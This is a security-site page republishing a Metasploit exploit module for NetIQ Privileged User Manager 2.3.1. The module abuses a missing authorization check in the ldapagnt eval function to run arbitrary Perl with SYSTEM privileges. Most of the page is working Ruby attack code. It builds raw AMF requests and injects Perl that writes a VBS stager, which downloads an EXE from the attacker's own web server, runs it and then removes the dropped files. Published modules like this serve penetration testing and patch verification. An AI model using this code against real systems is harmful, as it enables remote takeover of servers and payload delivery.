首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution
来源:http://www.metasploit.com 作者:rgod 发布时间:2012-11-22  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/file_dropper'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution',
			'Description'    => %q{
					This module abuses a lack of authorization in the NetIQ Privileged User Manager
				service (unifid.exe) to execute arbitrary perl code. The problem exists in the
				ldapagnt module. The module has been tested successfully on NetIQ PUM 2.3.1 over
				Windows 2003 SP2, which allows to execute arbitrary code with SYSTEM privileges.
			},
			'Author'         => [
				'rgod', # Vulnerability discovery and PoC
				'juan vazquez' # Metasploit module
			],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '87334'],
					[ 'BID', '56539' ],
					[ 'EDB', '22738' ],
					[ 'URL', 'http://retrogod.altervista.org/9sg_novell_netiq_ldapagnt_adv.htm' ]
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Privileged'     => true,
			'Targets'        =>
				[
					['Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1', { }],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 15 2012'
		))

		register_options(
			[
				Opt::RPORT(443),
				OptBool.new('SSL', [true, 'Use SSL', true]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60])
			], self.class )
	end

	def check
		data = fake_login

		print_status("Sending fake login request...")

		res = send_request_cgi(
			{
				'uri'     => '/',
				'version' => '1.1',
				'method'  => 'POST',
				'ctype'   => "application/x-amf",
				'headers' => {
					"x-flash-version" => "11,4,402,278"
				},
				'data'    => data,
			})

		if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2.3.1/
			return Exploit::CheckCode::Vulnerable
		elsif res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/
			return Exploit::CheckCode::Detected
		end
		return Exploit::CheckCode::Safe
	end

	def on_new_session(session)
		if session.type == "meterpreter"
			session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
		end

		@dropped_files.delete_if do |file|
			win_file = file.gsub("/", "\\\\")
			if session.type == "meterpreter"
				begin
					windir = session.fs.file.expand_path("%WINDIR%")
					win_file = "#{windir}\\system32\\#{win_file}"
					# Meterpreter should do this automatically as part of
					# fs.file.rm().  Until that has been implemented, remove the
					# read-only flag with a command.
					session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
					session.fs.file.rm(win_file)
					print_good("Deleted #{file}")
					true
				rescue ::Rex::Post::Meterpreter::RequestError
					false
				end

			end
		end

	end

	# Handle incoming requests from the target
	def on_request_uri(cli, request)

		vprint_status("on_request_uri called")

		if (not @exe_data)
			print_error("A request came in, but the EXE archive wasn't ready yet!")
			return
		end

		print_good("Sending the EXE payload to the target...")
		send_response(cli, @exe_data)
		@exe_sent = true
	end

	def lookup_lhost()
		# Get the source address
		if datastore['SRVHOST'] == '0.0.0.0'
			Rex::Socket.source_address('50.50.50.50')
		else
			datastore['SRVHOST']
		end
	end

	def fake_login
		data = "\x00\x00\x00\x00\x00\x01\x00\x15\x53\x50\x46\x2e\x55\x74"          #  ..........SPF.Ut
		data << "\x69\x6c\x2e\x63\x61\x6c\x6c\x4d\x6f\x64\x75\x6c\x65\x45\x78\x00" #  il.callModuleEx.
		data << "\x02\x2f\x34\x00\x00\x00\x64\x0a\x00\x00\x00\x01\x03\x00\x03\x70" #  ./4...d........p
		data << "\x6b\x74\x03\x00\x0b\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73" #  kt...Credentials
		data << "\x03\x00\x04\x6e\x61\x6d\x65\x02\x00\x04\x74\x65\x73\x74\x00\x06" #  ...name...test..
		data << "\x70\x61\x73\x73\x77\x64\x02\x00\x04\x74\x65\x73\x74\x00\x00\x09" #  passwd...test...
		data << "\x00\x06\x6d\x65\x74\x68\x6f\x64\x02\x00\x05\x6c\x6f\x67\x69\x6e" #  ..method...login
		data << "\x00\x06\x6d\x6f\x64\x75\x6c\x65\x02\x00\x04\x61\x75\x74\x68\x00" #  ..module...auth.
		data << "\x03\x75\x69\x64\x06\x00\x00\x09\x00\x00\x09";                    #  .uid.......
		return data
	end

	def exploit

		data = fake_login

		print_status("Sending fake login request...")
		res = send_request_cgi(
			{
				'uri'     => '/',
				'version' => '1.1',
				'method'  => 'POST',
				'ctype'   => "application/x-amf",
				'headers' => {
					"x-flash-version" => "11,4,402,278"
				},
				'data'    => data,
			})

		if not res or res.code != 200 or res.body !~ /svc(.+)/
			fail_with(Exploit::Failure::Unknown, 'Fake Login failed, svc not identified')
		end

		svc = $1
		svc_length = svc[1, 2].unpack("n")[0]
		svc_name = svc[3, svc_length]
		vprint_status("SVC Found: #{svc_name}")

		print_status("Generating the EXE Payload...")
		@exe_data = generate_payload_exe
		exename = Rex::Text.rand_text_alpha(1+rand(2))

		print_status("Setting up the Web Service...")
		datastore['SSL'] = false
		resource_uri = '/' + exename + '.exe'
		service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
		print_status("Starting up our web service on #{service_url} ...")
		start_service({'Uri' => {
			'Proc' => Proc.new { |cli, req|
				on_request_uri(cli, req)
			},
			'Path' => resource_uri
		}})
		datastore['SSL'] = true

		# http://scriptjunkie1.wordpress.com/2010/09/27/command-stagers-in-windows/
		vbs_stage = Rex::Text.rand_text_alpha(3+rand(5))
		code = "system(\"echo Set F=CreateObject(\\\"Microsoft.XMLHTTP\\\") >%WINDIR%/system32/#{vbs_stage}.vbs\");"
		code << "system(\"echo F.Open \\\"GET\\\",\\\"#{service_url}\\\",False >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
		code << "system(\"echo F.Send >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
		code << "system(\"echo Set IA=CreateObject(\\\"ADODB.Stream\\\") >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
		code << "system(\"echo IA.Type=1 >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
		code << "system(\"echo IA.Open >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
		code << "system(\"echo IA.Write F.responseBody >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
		code << "system(\"echo IA.SaveToFile \\\"%WINDIR%\\system32\\#{exename}.exe\\\",2 >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
		code << "system(\"echo CreateObject(\\\"WScript.Shell\\\").Run \\\"%WINDIR%\\system32\\#{exename}.exe\\\" >>%WINDIR%/system32/#{vbs_stage}.vbs\");"
		code << "system(\"#{vbs_stage}.vbs\");"
		register_file_for_cleanup("#{vbs_stage}.vbs")
		register_file_for_cleanup("#{exename}.exe")
		identity = ""

		data = "\x00\x00\x00\x00\x00\x01"
		data << "\x00\x14"
		data << "SPF.Util.callModuleA"
		data << "\x00\x00"
		data << "\x00"
		data << "\x00\x02"
		data << "\x0a\x0a"
		data << "\x00\x00\x00\x01\x03"
		data << "\x00\x03"
		data << "pkt"
		data << "\x03"
		data << "\x00\x06"
		data << "method"
		data << "\x02"
		data << "\x00\x04"
		data << "eval"
		data << "\x00\x06"
		data << "module"
		data << "\x02"
		data << "\x00\x08"
		data << "ldapagnt"
		data << "\x00\x04"
		data << "Eval"
		data << "\x03"
		data << "\x00\x07"
		data << "content"
		data << "\x02"
		data << [code.length + 4].pack("n")
		data << code
		data << "\x0a\x0a1;\x0a\x0a1;"
		data << "\x00\x00\x09"
		data << "\x00\x00\x09"
		data << "\x00\x03"
		data << "uid"
		data << "\x02"
		data << [identity.length].pack("n")
		data << identity
		data << "\x00\x00\x09"
		data << "\x00\x08"
		data << "svc_name"
		data << "\x02"
		data << [svc_name.length].pack("n")
		data << svc_name
		data << "\x00\x00\x09"

		print_status("Sending the eval code request...")

		res = send_request_cgi(
			{
				'uri'     => '/',
				'version' => '1.1',
				'method'  => 'POST',
				'ctype'   => "application/x-amf",
				'headers' => {
					"x-flash-version" => "11,4,402,278"
				},
				'data'    => data,
			})

		if res
			fail_with(Exploit::Failure::Unknown, "There was an unexpected response to the code eval request")
		else
			print_good("There wasn't a response, but this is the expected behavior...")
		end

		# wait for the data to be sent
		print_status("Waiting for the victim to request the EXE payload...")

		waited = 0
		while (not @exe_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Exploit::Failure::Unknown, "Target didn't request request the EXE payload -- Maybe it cant connect back to us?")
			end
		end

		print_status("Giving time to the payload to execute...")
		select(nil, nil, nil, 20)

		print_status("Shutting down the web service...")
		stop_service

	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Narcissus Image Configuration
·lighttpd 1.4.31 Denial of Serv
·Akeni LAN 1.2.118 Filter Bypas
·LAN.FS Messenger v2.4 Command
·TrouSerS Denial Of Service Vul
·FormatFactory v3.0.1 Profile F
·Apple QuickTime 7.7.2 TeXML St
·NFR Agent FSFUI Record File Up
·mcrypt <= 2.5.8 STACK based ov
·Media Player Classic XSS / Den
·Twitter 5.0 Eavesdropping Proo
·Broadcom DoS on BCM4325 and BC
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved